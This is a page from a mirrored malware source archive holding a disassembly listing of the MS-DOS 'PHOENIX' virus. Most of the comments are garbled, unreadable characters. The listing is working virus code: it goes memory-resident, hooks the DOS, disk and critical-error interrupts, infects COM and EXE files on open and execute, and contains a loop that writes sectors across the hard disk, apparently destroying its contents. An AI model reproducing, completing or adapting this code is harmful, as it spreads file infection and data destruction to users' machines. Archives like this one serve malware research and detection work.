ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-21 10:56:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
74dbd37f30
MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.phoenix.asm

1052 lines
69 KiB
NASM
Raw Normal View History

Add files via upload
2021-01-12 23:55:26 +00:00
Sourcer Listing v2.11 (GEMICHA) !-!-!- PHOENIX -!-!-!
---------------------------------------------------------------------------------------------------------------
0000 95 xchg ax,bp ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> AX
0001 BE 0100 mov si,100h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
0004 46 inc si ; SI=101
0005 03 34 add si,[si] ; SI= <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
0007 8B DE mov bx,si ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> BX <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
0009 33 C9 xor cx,cx ; CX= 0
000B B8 0342 mov ax,342h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> -20h
000E 50 push ax ; AX -> Stack
000F 33 4C 22 xor cx,[si+22h] ;\
0012 46 inc si ; \
0013 46 inc si ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
0014 48 dec ax ; <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CRC
0015 data_2 db 7Dh ; /
0015 7D F8 jge 000Fh ;/
0017 5A pop dx ; Stack -> DX
0018 31 4F 22 xor [bx+22h],cx ;\
001B 43 inc bx ; \
001C 43 inc bx ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
001D 4A dec dx ; <20><><EFBFBD><EFBFBD>
001E data_3 db 7Dh ; /
001E 7D F8 jge 0018h ;/
0020 87 F6 xchg si,si ;
0022 87 D1 xchg dx,cx ; dx= CRC cx= 0
0024 FA cli ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
0025 81 C6 F97C add si,0F97Ch ; SI= <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
0029 FC cld ; Clear direction
002A 8B DC mov bx,sp ; BX= stack offset
002C B1 04 mov cl,4
002E D3 EB shr bx,cl ; BX= BX * 16d +1
0030 43 inc bx ; /
0031 8C D0 mov ax,ss ; AX= stack seg
0033 03 D8 add bx,ax ; BX= org addr stack
0035 BF 0004 mov di,4 ;
0038 8B 45 FE mov ax,[di-2] ; AX= seg last paragraph
003B 1E push ds ; DS -> Stack
003C 8E DF mov ds,di ; DS= 0004h
003E 3B 45 66 cmp ax,[di+66h] ; <20><><EFBFBD><EFBFBD> <20><> INT 2A <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ?
0041 74 16 je loc_3 ; ???
0043 80 EC 02 sub ah,2 ; AX= AX- 512d
0046 3B D8 cmp bx,ax ; <20><><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> stack <20> last par.
0048 73 59 jae loc_6 ; Jump if above or =
004A 4F dec di ;
004B 4F dec di ; - di= 2
004C AB stosw ; ax to es:[di] <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> PSP <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
004D 8C C3 mov bx,es ; \
004F 4B dec bx ; ES= ES-1 <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
0050 8E C3 mov es,bx ; /
0052 26: 80 2D 02 sub byte ptr es:[di],2 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20> 521d bytes
0056 89 45 66 mov [di+66h],ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> seg <20><> INT 2A
0059 loc_3:
0059 C7 45 64 0526 mov word ptr [di+64h],526h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> off <20><> INT 2A
005E 4A dec dx ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CRC <20> 1
005F 52 push dx ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20> <20><><EFBFBD><EFBFBD><EFBFBD>
0060 50 push ax ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
0061 C4 5D 08 les bx,dword ptr [di+8] ; ES:BX = [ INT 13 ]
0064 B4 13 mov ah,13h ; \
0066 CD 2F int 2Fh ;
0068 06 push es ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
0069 53 push bx ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
006A B4 13 mov ah,13h ; INT 13
006C CD 2F int 2Fh ; /
006E 8C C2 mov dx,es ; DX= <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 13
0070 5B pop bx ; \
0071 07 pop es ; ES:BX [org INT 13]
0072 8C C0 mov ax,es
0074 3B C2 cmp ax,dx ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?
0076 1F pop ds ; DS= <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
0077 9C pushf ; Push flags
0078 06 push es ;\
0079 53 push bx ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> [org INT 13]
007A 1E push ds ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
007B 74 0D jz loc_4 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> INT 13 org
007D 8C DA mov dx,ds
007F 3B C2 cmp ax,dx
0081 72 5E jb loc_7 ; Jump if below
0083 BA 059A mov dx,59Ah
0086 B4 13 mov ah,13h
0088 CD 2F int 2Fh
008A loc_4:
008A 07 pop es ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
008B 33 FF xor di,di ; DI= 0
008D 56 push si ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> -> Stack
008E B9 0355 mov cx,355h ; 853d
0091 F3/ 2E: A5 rep movs word ptr es:[di],word ptr cs:[si]
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> 853d <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?
0094 5E pop si ; Stack -> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
0095 B0 EA mov al,0EAh
0097 AA stosb ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> jmp <20> es:[di]
0098 B1 04 mov cl,4
009A locloop_5:
009A 58 pop ax
009B AB stosw ; Store ax to es:[di]
009C E2 FC loop locloop_5 ; Loop if cx > 0
009E B8 FE00 mov ax,0FE00h
00A1 AA stosb ; Store al to es:[di]
00A2 AB stosw ; Store ax to es:[di]
00A3 loc_6:
00A3 07 pop es
00A4 FB sti ; Enable interrupts
00A5 0E push cs
00A6 1F pop ds
00A7 BF 00FE mov di,0FEh
00AA 57 push di
00AB 56 push si
00AC 81 C6 00C8 add si,0C8h
00B0 A5 movsw ; Mov [si] to es:[di]
00B1 A5 movsw ; Mov [si] to es:[di]
00B2 A4 movsb ; Mov [si] to es:[di]
00B3 5F pop di
00B4 AD lodsw ; String [si] to ax
00B5 FE C4 inc ah
00B7 96 xchg ax,si
00B8 95 xchg ax,bp
00B9 B9 0354 mov cx,354h
00BC C3 retn
00BD db 'PHOENIX',0
00C5 01 4C D0 add [si-30],cx
00C8 F3 repz
00C9 A5 movsw ; Mov [si] to es:[di]
00CA data_5 dw 34BCh
00CA 4D dec bp
00CB 5A pop dx
00CC BA 47 08 mov dx,0847
00CF E9 0F85 jmp 18EBh
00D2 BF 004C mov di,4Ch
00D5 8B 5D B6 mov bx,[di-4Ah]
00D8 33 D2 xor dx,dx ; Zero register
00DA 8E DA mov ds,dx
00DC 3B 5D 5E cmp bx,[di+5Eh]
00DF 74 52 je loc_11 ; Jump if equal
00E1 loc_7:
00E1 B2 80 mov dl,80h
00E3 B4 08 mov ah,8
00E5 CD 13 int 13h ; Disk dl=drive #: ah=func a8h
; read parameters for drive dl
00E7 72 4A jc loc_11 ; Jump if carry Set
00E9 52 push dx
00EA B4 13 mov ah,13h
00EC CD 2F int 2Fh ; Multiplex/Spooler al=func 00h
; get installed status
00EE FC cld ; Clear direction
00EF 06 push es
00F0 33 C0 xor ax,ax ; Zero register
00F2 8E C0 mov es,ax
00F4 E6 61 out 61h,al ; port 61h, 8255 B - spkr, etc
; al = 0, disable parity
00F6 93 xchg ax,bx
00F7 AB stosw ; Store ax to es:[di]
00F8 58 pop ax
00F9 AB stosw ; Store ax to es:[di]
00FA 8B C1 mov ax,cx
00FC 8A E9 mov ch,cl
00FE B1 06 mov cl,6
0100 D2 ED shr ch,cl ; Shift w/zeros fill
0102 8A CC mov cl,ah
0104 24 3F and al,3Fh ; '?'
0106 8B F1 mov si,cx
0108 5F pop di
0109 B2 80 mov dl,80h
010B loc_8:
010B 33 C9 xor cx,cx ; Zero register
010D loc_9:
010D 32 F6 xor dh,dh ; Zero register
010F 51 push cx
0110 86 CD xchg cl,ch
0112 D0 C9 ror cl,1 ; Rotate
0114 D0 C9 ror cl,1 ; Rotate
0116 41 inc cx
0117 loc_10:
0117 50 push ax
0118 B4 03 mov ah,3
011A CD 13 int 13h ; Disk dl=drive #: ah=func a3h
; write sectors from mem es:bx
011C FE C6 inc dh
011E 8B C7 mov ax,di
0120 3A F4 cmp dh,ah
0122 58 pop ax
0123 76 F2 jbe loc_10 ; Jump if below or =
0125 59 pop cx
0126 41 inc cx
0127 3B CE cmp cx,si
0129 76 E2 jbe loc_9 ; Jump if below or =
012B 42 inc dx
012C 4F dec di
012D F7 C7 00FF test di,0FFh
0131 75 D8 jnz loc_8 ; Jump if not zero
0133 loc_11:
0133 8C C2 mov dx,es
0135 83 C2 10 add dx,10h
0138 E8 0008 call sub_1
013B 00 00 data_9 db 0, 0
013D 0000 data_10 dw 0
013F 0000 data_11 dw 0
0141 0000 data_12 dw 0
;==========================================================================
; SUBROUTINE
;==========================================================================
sub_1 proc near
0143 5F pop di
0144 0E push cs
0145 1F pop ds
0146 01 55 02 add [di+2],dx
0149 03 55 04 add dx,[di+4]
014C 8E D2 mov ss,dx
014E 8B 65 06 mov sp,[di+6]
0151 06 push es
0152 1F pop ds
0153 2E: FF 2D jmp dword ptr cs:[di]
;==========================================================================
; SUBROUTINE
; INT 21
;==========================================================================
0156 9C pushf ; Push flags
0157 FA cli ; Disable interrupts
0158 50 push ax
0159 53 push bx
015A 51 push cx
015B 52 push dx
015C 56 push si
015D 57 push di
015E 1E push ds
015F 06 push es
0160 FC cld ; Clear direction
0161 0E push cs
0162 07 pop es
0163 33 C9 xor cx,cx
0165 80 FC 3E cmp ah,3Eh
0168 74 15 je loc_12
016A 8B F2 mov si,dx
016C BF 06BA mov di,6BAh ; <20><><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
016F B1 28 mov cl,28h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
0171 F3/ A5 rep movsw ; cx >0 Mov [si] to es:[di]
0173 93 xchg ax,bx ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
0174 B8 3D00 mov ax,3D00h
0177 CD 21 int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
0179 93 xchg ax,bx ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
017A 73 03 jnc loc_12 ; <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> -->
017C BB FFFF mov bx,0FFFFh ; <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> = FFFF
017F loc_12:
017F 91 xchg ax,cx ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> CX <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
0180 8E D8 mov ds,ax ; DS= 0
0182 BF 06A6 mov di,6A6h ; DW INT 13
0185 BE 004C mov si,4Ch
0188 B8 0690 mov ax,690h ; Vir INT 13
018B 87 04 xchg ax,[si] ; Read Int 13 ofs
018D AB stosw ; Store ax to CS:[6A6]
018E 50 push ax ; Int13 Ofs -> Stack
018F 8C C0 mov ax,es
0191 87 44 02 xchg ax,[si+2] ; Read Int 13 seg
0194 AB stosw ; Store ax to es:[di]
0195 50 push ax ; Int13 Seg -> Stack
0196 B8 0597 mov ax,597h ; Vir INT 24
0199 87 44 44 xchg ax,[si+44h]
019C 50 push ax ; INT24 Ofs -> Stack
019D 8C C0 mov ax,es
019F 87 44 46 xchg ax,[si+46h]
01A2 50 push ax ; INT24 Seg -> Stack
01A3 1E push ds ; 0 -> Stack
01A4 56 push si ; 4C -> Stack
01A5 32 D2 xor dl,dl
01A7 B8 3302 mov ax,3302h ; DOS Services ah=function 33h
01AA CD 21 int 21h ; ctrl-break flag al=off/on
01AC 52 push dx
01AD E8 02F3 call sub_2
01B0 72 16 jc loc_13 ; Jump if carry Set
01B2 A1 046C mov ax,word ptr ds:[46Ch] ; (0000:046C=8335h)
01B5 26: C5 75 07 lds si,dword ptr es:[di+7] ; Load 32 bit ptr
01B9 80 7C 08 02 cmp byte ptr [si+8],2
01BD 06 push es
01BE 1F pop ds
01BF 8B 75 11 mov si,[di+11h]
01C2 96 xchg ax,si
01C3 BA 0403 mov dx,403h
01C6 B1 80 mov cl,80h
01C8 loc_13:
01C8 72 7C jc loc_22 ; Jump if carry Set
01CA 2D 07A8 sub ax,7A8h
01CD 87 45 15 xchg ax,[di+15h]
01D0 50 push ax
01D1 72 03 jc loc_14 ; Jump if carry Set
01D3 84 75 04 test dh,[di+4]
01D6 loc_14:
01D6 75 7E jnz loc_24 ; Jump if not zero
01D8 80 FD 3E cmp ch,3Eh ; '>'
01DB 75 05 jne loc_15 ; Jump if not equal
01DD BA 0002 mov dx,2
01E0 B1 C0 mov cl,0C0h
01E2 loc_15:
01E2 22 4D 05 and cl,[di+5]
01E5 75 6F jnz loc_24 ; Jump if not zero
01E7 2E: 89 16 06B6 mov word ptr cs:[6B6h],dx ; (06B6=403h)
01EC 83 7D 13 00 cmp word ptr [di+13h],0
01F0 75 64 jne loc_24 ; Jump if not equal
01F2 8B 45 28 mov ax,[di+28h]
01F5 3D 5845 cmp ax,5845h
01F8 74 13 je loc_16 ; Jump if equal
01FA 3D 4F43 cmp ax,4F43h
01FD 75 13 jne loc_17 ; Jump if not equal
01FF 3B 45 20 cmp ax,[di+20h]
0202 B8 4D4D mov ax,4D4Dh
0205 75 06 jnz loc_16 ; Jump if not zero
0207 3B 45 22 cmp ax,[di+22h]
020A 75 01 jne loc_16 ; Jump if not equal
020C 41 inc cx
020D loc_16:
020D 3A 45 2A cmp al,[di+2Ah]
0210 74 05 je loc_18 ; Jump if equal
0212 loc_17:
0212 80 FD 4B cmp ch,4Bh ; 'K'
0215 75 3F jne loc_24 ; Jump if not equal
0217 loc_18:
0217 51 push cx
0218 FF 75 15 push word ptr [di+15h]
021B 0E push cs
021C 1F pop ds
021D B9 0002 mov cx,2
0220 B4 3F mov ah,3Fh ; '?'
0222 E8 02A5 call sub_6
0225 72 13 jc loc_21 ; Jump if carry Set
0227 A1 070A mov ax,word ptr ds:[70Ah] ; (070A=0BF95h)
022A 0A C4 or al,ah
022C 75 05 jnz loc_19 ; Jump if not zero
022E E8 0294 call sub_4
0231 72 07 jc loc_21 ; Jump if carry Set
0233 loc_19:
0233 87 F2 xchg si,dx
0235 locloop_20:
0235 AC lodsb ; String [si] to al
0236 84 C0 test al,al
0238 E1 FB loopz locloop_20 ; Loop if zf=1, cx>0
023A loc_21:
023A 58 pop ax
023B 59 pop cx
023C 06 push es
023D 1F pop ds
023E 72 16 jc loc_24 ; Jump if carry Set
0240 75 07 jnz loc_23 ; Jump if not zero
0242 41 inc cx
0243 92 xchg ax,dx
0244 EB 5F jmp short loc_29
0246 loc_22:
0246 E9 0154 jmp loc_37
0249 loc_23:
0249 84 C9 test cl,cl
024B 75 09 jnz loc_24 ; Jump if not zero
024D 8A 45 12 mov al,[di+12h]
0250 F6 D0 not al
0252 A8 38 test al,38h ; '8'
0254 75 3D jnz loc_28 ; Jump if not zero
0256 loc_24:
0256 8F 45 15 pop word ptr [di+15h]
0259 80 FD 4B cmp ch,4Bh ; 'K'
025C 75 E8 jne loc_22 ; Jump if not equal
025E B4 3E mov ah,3Eh ; '>'
0260 CD 21 int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
0262 0E push cs
0263 1F pop ds
0264 0E push cs
0265 07 pop es
0266 BE 06BA mov si,6BAh
0269 8B FE mov di,si
026B B4 60 mov ah,60h ; '`'
026D CD 21 int 21h ; DOS Services ah=function 60h
026F 72 1F jc loc_27 ; Jump if carry Set
0271 84 C0 test al,al
0273 75 1B jnz loc_27 ; Jump if not zero
0275 loc_25:
0275 AC lodsb ; String [si] to al
0276 3C 5C cmp al,5Ch ; '\'
0278 75 02 jne loc_26 ; Jump if not equal
027A 8B FE mov di,si
027C loc_26:
027C 84 C0 test al,al
027E 75 F5 jnz loc_25 ; Jump if not zero
0280 57 push di
0281 B8 2E2A mov ax,2E2Ah
0284 AB stosw ; Store ax to es:[di]
0285 A1 01F6 mov ax,word ptr ds:[1F6h] ; (01F6=5845h)
0288 AB stosw ; Store ax to es:[di]
0289 32 E4 xor ah,ah ; Zero register
028B AB stosw ; Store ax to es:[di]
028C 5F pop di
028D E9 0132 jmp loc_39
0290 loc_27:
0290 E9 010E jmp loc_38
0293 loc_28:
0293 33 C0 xor ax,ax ; Zero register
0295 92 xchg ax,dx
0296 86 C4 xchg al,ah
0298 50 push ax
0299 8B 75 11 mov si,[di+11h]
029C 83 EE 03 sub si,3
029F F7 F6 div si ; ax,dx rem=dx:ax/reg
02A1 83 C2 03 add dx,3
02A4 58 pop ax
02A5 loc_29:
02A5 FF 75 05 push word ptr [di+5]
02A8 51 push cx
02A9 52 push dx
02AA 53 push bx
02AB 33 D2 xor dx,dx ; Zero register
02AD 89 55 15 mov [di+15h],dx
02B0 0E push cs
02B1 1F pop ds
02B2 B9 0090 mov cx,90h
02B5 F7 F1 div cx ; ax,dx rem=dx:ax/reg
02B7 E8 0236 call sub_9
02BA A2 0015 mov data_2,al ; (0015=7Dh)
02BD E8 0230 call sub_9
02C0 A2 001E mov data_3,al ; (001E=7Dh)
02C3 92 xchg ax,dx
02C4 B2 06 mov dl,6
02C6 F6 F2 div dl ; al, ah rem = ax/reg
02C8 BE 070A mov si,70Ah
02CB BB 051D mov bx,51Dh
02CE E8 0201 call sub_8
02D1 88 04 mov [si],al
02D3 46 inc si
02D4 BB 0520 mov bx,520h
02D7 E8 01F6 call sub_7
02DA BB 0523 mov bx,523h
02DD E8 01F0 call sub_7
02E0 BB 0709 mov bx,709h
02E3 BE 04F9 mov si,4F9h
02E6 B9 0024 mov cx,24h
02E9 locloop_30:
02E9 AC lodsb ; String [si] to al
02EA 84 C0 test al,al
02EC 74 1F jz loc_32 ; Jump if zero
02EE 50 push ax
02EF 24 07 and al,7
02F1 D7 xlat [bx] ; al=[al+[bx]] table
02F2 B4 F8 mov ah,0F8h
02F4 92 xchg ax,dx
02F5 58 pop ax
02F6 51 push cx
02F7 B1 03 mov cl,3
02F9 D2 E8 shr al,cl ; Shift w/zeros fill
02FB 74 07 jz loc_31 ; Jump if zero
02FD D7 xlat [bx] ; al=[al+[bx]] table
02FE D2 E0 shl al,cl ; Shift w/zeros fill
0300 0A D0 or dl,al
0302 B6 C0 mov dh,0C0h
0304 loc_31:
0304 59 pop cx
0305 20 B4 FB06 and byte ptr ds:[0FB06h][si],dh ; (FB06=0FFh)
0309 08 94 FB06 or byte ptr ds:[0FB06h][si],dl ; (FB06=0FFh)
030D loc_32:
030D E2 DA loop locloop_30 ; Loop if cx > 0
030F 5B pop bx
0310 BA 00CA mov dx,0CAh
0313 B1 03 mov cl,3
0315 B4 3F mov ah,3Fh ; '?'
0317 CD 21 int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
0319 58 pop ax
031A 59 pop cx
031B 72 73 jc loc_36 ; Jump if carry Set
031D 26: 89 45 15 mov es:[di+15h],ax
0321 2D 0003 sub ax,3
0324 A3 00D0 mov word ptr ds:[0D0h],ax ; (00D0=0F85h)
0327 A1 00CA mov ax,data_5 ; (00CA=34BCh)
032A E8 018F call sub_3
032D 74 61 jz loc_36 ; Jump if zero
032F 84 C9 test cl,cl
0331 75 25 jnz loc_33 ; Jump if not zero
0333 E8 018F call sub_4
0336 72 58 jc loc_36 ; Jump if carry Set
0338 91 xchg ax,cx
0339 26: 03 45 11 add ax,es:[di+11h]
033D 2B C1 sub ax,cx
033F 26: 89 45 15 mov es:[di+15h],ax
0343 A3 00CD mov word ptr ds:[0CDh],ax ; (00CD=1630h)
0346 B4 40 mov ah,40h ; '@'
0348 CD 21 int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
034A 3B C1 cmp ax,cx
034C 75 42 jne loc_36 ; Jump if not equal
034E A1 00D0 mov ax,word ptr ds:[0D0h] ; (00D0=0F85h)
0351 05 0003 add ax,3
0354 26: 89 45 15 mov es:[di+15h],ax
0358 loc_33:
0358 33 D2 xor dx,dx ; Zero register
035A 8B F2 mov si,dx
035C B9 0353 mov cx,353h
035F locloop_34:
035F AD lodsw ; String [si] to ax
0360 81 FE 0022 cmp si,22h
nop ; Fixup for MASM (M)
0364 72 06 jb loc_35 ; Jump if below
0366 33 06 06B1 xor ax,word ptr ds:[6B1h] ; (06B1=0FFF0h)
036A 33 D0 xor dx,ax
036C loc_35:
036C 89 84 0708 mov word ptr ds:[708h][si],ax ; (0708=0)
0370 E2 ED loop locloop_34 ; Loop if cx > 0
0372 33 16 06B1 xor dx,word ptr ds:[6B1h] ; (06B1=0FFF0h)
0376 31 94 012A xor word ptr ds:[12Ah][si],dx ; (012A=42E2h)
037A B4 40 mov ah,40h ; '@'
037C E8 0148 call sub_5
037F 33 C8 xor cx,ax
0381 75 0D jnz loc_36 ; Jump if not zero
0383 26: 89 4D 15 mov es:[di+15h],cx
0387 BA 00CF mov dx,0CFh
038A B1 03 mov cl,3
038C B4 40 mov ah,40h ; '@'
038E CD 21 int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
0390 loc_36:
0390 58 pop ax
0391 0A C4 or al,ah
0393 24 40 and al,40h ; '@'
0395 26: 08 45 06 or es:[di+6],al
0399 26: 8F 45 15 pop word ptr es:[di+15h]
039D loc_37:
039D B4 3E mov ah,3Eh ; '>'
039F CD 21 int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
03A1 loc_38:
03A1 5A pop dx
03A2 B8 3301 mov ax,3301h
03A5 CD 21 int 21h ; DOS Services ah=function 33h
; ctrl-break flag al=off/on
03A7 5E pop si
03A8 1F pop ds
03A9 8F 44 46 pop word ptr [si+46h]
03AC 8F 44 44 pop word ptr [si+44h]
03AF 8F 44 02 pop word ptr [si+2]
03B2 8F 04 pop word ptr [si]
03B4 07 pop es
03B5 1F pop ds
03B6 5F pop di
03B7 5E pop si
03B8 5A pop dx
03B9 59 pop cx
03BA 5B pop bx
03BB 58 pop ax
03BC 9D popf ; Pop flags
03BD EA 0BCD:20B4 jmp far ptr loc_2
03C2 loc_39:
03C2 B4 2F mov ah,2Fh ; '/'
03C4 CD 21 int 21h ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
03C6 06 push es
03C7 53 push bx
03C8 BA 070A mov dx,70Ah
03CB B4 1A mov ah,1Ah
03CD CD 21 int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
03CF B9 0006 mov cx,6
03D2 BA 06BA mov dx,6BAh
03D5 B4 4E mov ah,4Eh ; 'N'
03D7 CD 21 int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
03D9 72 10 jc loc_41 ; Jump if carry Set
03DB loc_40:
03DB A0 0720 mov al,byte ptr ds:[720h] ; (0720=0F8h)
03DE 24 1F and al,1Fh
03E0 3C 1E cmp al,1Eh
03E2 F8 clc ; Clear carry flag
03E3 75 06 jnz loc_41 ; Jump if not zero
03E5 B4 4F mov ah,4Fh ; 'O'
03E7 CD 21 int 21h ; DOS Services ah=function 4Fh
; find next filename match
03E9 73 F0 jnc loc_40 ; Jump if carry=0
03EB loc_41:
03EB 5A pop dx
03EC 1F pop ds
03ED 9C pushf ; Push flags
03EE B4 1A mov ah,1Ah
03F0 CD 21 int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
03F2 9D popf ; Pop flags
03F3 72 AC jc loc_38 ; Jump if carry Set
03F5 0E push cs
03F6 1F pop ds
03F7 0E push cs
03F8 07 pop es
03F9 BE 0728 mov si,728h
03FC 41 inc cx
03FD F3/ A5 rep movsw ; Rep when cx >0 Mov [si] to es:[di]
03FF BA 06BA mov dx,6BAh
0402 B8 3D00 mov ax,3D00h
0405 CD 21 int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
0407 72 98 jc loc_38 ; Jump if carry Set
0409 93 xchg ax,bx
040A E8 0096 call sub_2
040D 72 8E jc loc_37 ; Jump if carry Set
040F 83 C7 15 add di,15h
0412 B1 18 mov cl,18h
0414 B4 3F mov ah,3Fh ; '?'
0416 CD 21 int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
0418 3B C1 cmp ax,cx
041A loc_42:
041A 75 81 jne loc_37 ; Jump if not equal
041C 8B F2 mov si,dx
041E AD lodsw ; String [si] to ax
041F E8 009A call sub_3
0422 75 F6 jnz loc_42 ; Jump if not zero
0424 26: 80 4D F8 1F or byte ptr es:[di-8],1Fh
0429 26: FE 4D F8 dec byte ptr es:[di-8]
042D B1 02 mov cl,2
042F locloop_43:
042F 92 xchg ax,dx
0430 26: 8B 45 FC mov ax,es:[di-4]
0434 AB stosw ; Store ax to es:[di]
0435 E2 F8 loop locloop_43 ; Loop if cx > 0
0437 83 7C 0A FF cmp word ptr [si+0Ah],0FFFFh
043B 75 59 jne loc_45 ; Jump if not equal
043D B1 0C mov cl,0Ch
043F D3 E0 shl ax,cl ; Shift w/zeros fill
0441 2B 44 06 sub ax,[si+6]
0444 87 54 12 xchg dx,[si+12h]
0447 87 44 14 xchg ax,[si+14h]
044A 89 16 013B mov word ptr data_9,dx ; (013B=0)
